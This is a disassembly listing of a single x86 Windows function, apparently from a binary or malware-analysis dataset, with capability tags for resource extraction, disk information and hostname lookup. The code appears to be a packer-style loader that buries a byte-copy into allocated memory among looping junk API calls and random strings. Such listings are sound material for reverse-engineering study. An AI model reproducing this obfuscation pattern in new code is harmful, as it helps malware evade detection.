Function at 0x401640
Capabilities:
Extract resource via kernel32 functions
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x426428
push eax
mov eax, 0x1180
mov dword fs:[0], esp
call fcn.0040cb20
cmp dword [0x84b660], 0x5b1
push ebx
push esi
push edi
jne 0x40171e
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push 0
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea esi, [ebp - 0x30]
call fcn.00401cc0
push 0
mov dword [ebp - 4], 0
call fcn.00403c01
add esp, 4
push 0
push 0
call fcn.00403c0c
add esp, 8
call fcn.0040378a
call fcn.00401630
push 0
call fcn.00403d0a
add esp, 4
push 0
call fcn.00403d1a
mov dword [esp], 0
call fcn.00401260
fstp st(0)
lea edx, [ebp - 0x78]
push edx
call fcn.00401d10
lea ecx, [ebp - 0x78]
call fcn.00401d60
mov eax, esi
mov dword [ebp - 4], 0xffffffff
call fcn.00401cf0
mov eax, dword [0x42c4a0]
mov dword [0x84b664], eax
mov eax, dword [0x84b660]
add eax, 0x1134b
push eax
push 0
mov dword [0x84b660], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x84a5b0], eax
call fcn.00401570
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401765
lea ecx, [ebp - 0x58c]
push ecx
push 0
call edi
inc esi
cmp esi, 0x18ea14c
jl 0x401752
xor esi, esi
cmp dword [0x84b660], esi
jbe 0x4017e7
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.GDI32.dll_SetColorAdjustment]
jmp 0x401790
mov edx, dword [0x84b664]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x84a5b0]
mov byte [ecx + esi], al
cmp dword [0x84b660], 0xa8
jne 0x4017de
push 0
lea edx, [ebp - 0x10]
push edx
call edi
push 0
push 0
call ebx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x118c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [ebp - 0x18c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
inc esi
cmp esi, dword [0x84b660]
jb 0x401790
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, esi
mov eax, dword [0x84b660]
add eax, esi
cmp eax, 0xe
jne 0x401820
push 0
push 0
push str.negodefivezefulisaw
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x39621
jl 0x4017f5
call fcn.004014a0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x62
jne 0x401842
call fcn.00401550
inc esi
cmp esi, 0x674db
jl 0x401836
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ebx, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x84b660], 0x86
jne 0x40189e
push 0
lea ecx, [ebp - 0x98c]
push ecx
push str.Yic_tifimo_yim_navoho
call esi
push 0
push str.muhobahodagok
push str.vozizisijocojiviragovabijo
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x401864
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret